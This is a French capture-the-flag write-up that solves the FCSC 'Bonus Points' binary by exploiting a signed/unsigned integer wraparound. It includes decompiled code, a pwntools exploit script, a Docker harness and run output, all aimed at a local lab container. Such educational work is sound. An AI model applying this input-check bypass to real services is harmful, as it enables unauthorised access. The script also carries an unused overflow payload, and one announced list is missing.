Solution de U03 pour Bonus Points

intro pwn x86/x64

6 janvier 2025

Le fichier bonuspoints mis à disposition dans l’énoncé est un exécutable x86-64 not stripped ce qui va nous permettre de l’analyser avec un outil tel que Ghidra.

file bonuspoints 
bonuspoints: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=785ccc1769db4cc76c8c188395c2c81c6ce52a50, for GNU/Linux 3.2.0, not stripped

L’analyse dans Ghidra nous montre le code principal :

undefined8 main(void) {
  uint __seed;
  int iVar1;
  char local_1a [10];
  int local_10;
  uint local_c;

  local_c = 0;
  __seed = getpid();
  srand(__seed);
  iVar1 = rand();
  local_c = iVar1 % 100;
  puts("Hello, here you can get some bonus points for the competition.");
  puts("You cannot get more than 100 bonus points.");
  puts("If you go above 1000 you win.");
  printf("Your score is currently %u\n",(ulong)local_c);
  printf("How many bonus points do you want?\n>>> ");
  fflush(stdout);
  fgets(local_1a,8,stdin);
  local_10 = atoi(local_1a);
  if (local_10 < 0x65) {
    local_c = local_c + local_10;
    printf("Your new score is %u\n",(ulong)local_c);
    if (local_c < 0x3e9) {
      puts("You should try to get more points");
    }
    else {
      puts("Congratulations! Here is your flag:");
      fflush(stdout);
      system("cat flag.txt");
    }
  }
  else {
    puts("Stop cheating!");
  }
  return 0;
}

Un nombre aléatoire est tiré par la fonction rand() (le générateur de nombre aléatoires est initialisé à l’aide d’une graine tirée du PID du process bonuspoints. Ce nombre modulo 100 est placé dans la variable local_c qui est de type uint (c’est à dire un entier non signé sur 32 bits). La valeur initiale du nombre de points est affichée à l’écran et l’utilisateur doit choisir le nombre de points (inférieur à 100) qu’il souhaite se voir créditer.

En ayant un nombre de points initial maximum de 99 (à cause du modulo 100 et en pouvant pas demander plus de 100 points (local_10 < 0x65) il paraît difficile d’obtenir 1000 points.

Analysons un peu le code suivant :

  char local_1a [10];
  int local_10;
  uint local_c;
     .../...
  printf("How many bonus points do you want?\n>>> ");
  fflush(stdout);
  fgets(local_1a,8,stdin);
  local_10 = atoi(local_1a);
     .../...
  if (local_10 < 0x65) {
    local_c = local_c + local_10;
    printf("Your new score is %u\n",(ulong)local_c);

Nous notons les points suivants :

Sachant que nous partons avec un maximum de 100 points nous sommes certains de faire cycler notre nombre de points en demandant -123 points.

#!/usr/bin/python3

from pwn import *
from time import sleep

EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('8877665544332211')  + b'\n'

conn = remote('localhost',4000)
print(conn.recvuntil(b'>>> '))

conn.send(b'-123\n')
print(conn.recv())

conn.close()

Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc pour attendre le temps nécessaire pour laisser au container le temps de démarrer :

#!/bin/bash

set -e

if [ ! -f docker-compose.yml ]; then
    wget https://hackropole.fr/challenges/fcsc2021-pwn-bonus-points/docker-compose.public.yml -O docker-compose.yml
fi

docker-compose up -d

while ! nc -z localhost 4000; do sleep 1; done

python3 009_Bonus_points.py

docker-compose down

Le résultat est le suivant:

Creating network "009_bonus_points_default" with the default driver
Creating 009_bonus_points_bonus-points_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'Hello, here you can get some bonus points for the competition.\nYou cannot get more than 100 bonus points.\nIf you go above 1000 you win.\nYour score is currently 95\nHow many bonus points do you want?\n>>> '
b'Your new score is 4294967268\nCongratulations! Here is your flag:\n'
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 009_bonus_points_bonus-points_1 ... done
Removing 009_bonus_points_bonus-points_1 ... done
Removing network 009_bonus_points_default